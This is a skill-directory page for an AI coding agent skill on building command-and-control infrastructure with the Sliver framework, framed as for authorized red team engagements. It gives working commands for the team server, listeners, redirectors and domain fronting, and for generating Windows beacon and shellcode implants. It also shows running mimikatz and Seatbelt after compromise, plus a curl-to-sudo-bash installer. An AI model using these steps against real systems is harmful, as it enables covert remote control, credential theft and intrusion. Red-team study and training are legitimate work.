acquiring-disk-image-w…
Create forensically sound bit-for-bit disk images using dd and dcfldd while preserving evidence integrity through
Build and configure a resilient command-and-control infrastructure using BishopFox's Sliver C2 framework with
$ npx -y skills add Mikaru0Mystic/sectinel --skill building-c2-infrastructure-with-sliver-framework --agent claude-codeHow it fires
How this skill gets triggered: by you, by Claude, or both.
/building-c2-infrastructure-with-sliver-frameworkContext preview
The summary Claude sees to decide when to auto-load this skill.
Build and configure a resilient command-and-control infrastructure using BishopFox's Sliver C2 framework with
name: building-c2-infrastructure-with-sliver-framework description: Build and configure a resilient command-and-control infrastructure using BishopFox's Sliver C2 framework with redirectors, HTTPS listeners, and multi-operator support for authorized red team engagements. domain: cybersecurity subdomain: red-teaming tags: - red-team - c2-framework - sliver - command-and-control - adversary-simulation - infrastructure - post-exploitation version: '1.0' author: mahipal license: Apache-2.0 d3fend_techniques: - File Metadata Consistency Validation - Certificate Analysis - Application Protocol Command Analysis - Content Format Conversion - File Content Analysis nist_csf: - ID.RA-01 - GV.OV-02 - DE.AE-07
Sliver is an open-source, cross-platform adversary emulation framework developed by BishopFox, written in Go. It provides red teams with implant generation, multi-protocol C2 channels (mTLS, HTTP/S, DNS, WireGuard), multi-operator support, and extensive post-exploitation capabilities. Sliver supports beacon (asynchronous) and session (interactive) modes, making it suitable for both long-haul operations and interactive exploitation. A properly architected Sliver infrastructure uses redirectors, domain fronting, and HTTPS certificates to maintain operational resilience and avoid detection.
1. Provision a VPS (e.g., DigitalOcean, Linode, AWS EC2) for the team server 2. Harden the OS: disable SSH password auth, configure UFW/iptables, install fail2ban 3. Install Sliver using the official install script:
curl https://sliver.sh/install | sudo bash
4. Start the Sliver server daemon:
systemctl start sliver # Or run interactively sliver-server
5. Generate operator configuration files for team members:
new-operator --name operator1 --lhost <team-server-ip>
1. Configure an HTTPS listener with a legitimate SSL certificate:
https --lhost 0.0.0.0 --lport 443 --domain c2.example.com --cert /path/to/cert.pem --key /path/to/key.pem
2. Configure a DNS listener for fallback C2:
dns --domains c2dns.example.com --lport 53
3. Configure mTLS listener for high-security sessions:
mtls --lhost 0.0.0.0 --lport 8888
4. Configure WireGuard listener for tunneled access:
wg --lport 51820
1. Deploy a separate VPS as a redirector (positioned between targets and team server) 2. Install and configure NGINX as a reverse proxy:
server {
listen 443 ssl;
server_name c2.example.com;
ssl_certificate /etc/letsencrypt/live/c2.example.com/fullchain.pem;
ssl_certificate_key /etc/letsencrypt/live/c2.example.com/privkey.pem;
location / {
proxy_pass https://<team-server-ip>:443;
proxy_ssl_verify off;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
}
}3. Configure iptables rules on the team server to only accept connections from the redirector:
iptables -A INPUT -p tcp --dport 443 -s <redirector-ip> -j ACCEPT iptables -A INPUT -p tcp --dport 443 -j DROP
4. Optionally set up Cloudflare as a CDN layer in front of the redirector for domain fronting
1. Generate an HTTPS beacon implant:
generate beacon --http https://c2.example.com --os windows --arch amd64 --format exe --name payload
2. Generate a DNS beacon for restricted networks:
generate beacon --dns c2dns.example.com --os windows --arch amd64
3. Generate a shellcode payload for injection:
generate --http https://c2.example.com --os windows --arch amd64 --format shellcode
4. Configure beacon jitter and callback intervals:
generate beacon --http https://c2.example.com --seconds 60 --jitter 30
1. Interact with active beacons/sessions:
beacons # List active beacons use <beacon-id> # Interact with a beacon
2. Execute post-exploitation modules:
ps # Process listing netstat # Network connections execute-assembly /path/to/Seatbelt.exe -group=all # Run .NET assemblies sideload /path/to/mimikatz.dll # Load DLLs
3. Set up pivots for internal network access:
Open-source security arsenal for AI coding agents: 784 cybersecurity skills, scanner integrations, and a security MCP for Claude Code, Cursor, opencode, Gemini CLI, Cline, and any agentskills.io agent. Mapped to OWASP, MITRE ATT&CK, NIST CSF, D3FEND, ATLAS.
Repo: Mikaru0Mystic/sectinel
Create forensically sound bit-for-bit disk images using dd and dcfldd while preserving evidence integrity through
Detect dangerous ACL misconfigurations in Active Directory using ldap3 to identify GenericAll, WriteDACL, and
Perform static analysis of Android APK malware samples using apktool for decompilation, jadx for Java source
Parses API Gateway access logs (AWS API Gateway, Kong, Nginx) to detect BOLA/IDOR attacks, rate limit bypass,
Analyze advanced persistent threat (APT) group techniques using MITRE ATT&CK Navigator to create layered heatmaps
Queries Azure Monitor activity logs and sign-in logs via azure-monitor-query to detect suspicious administrative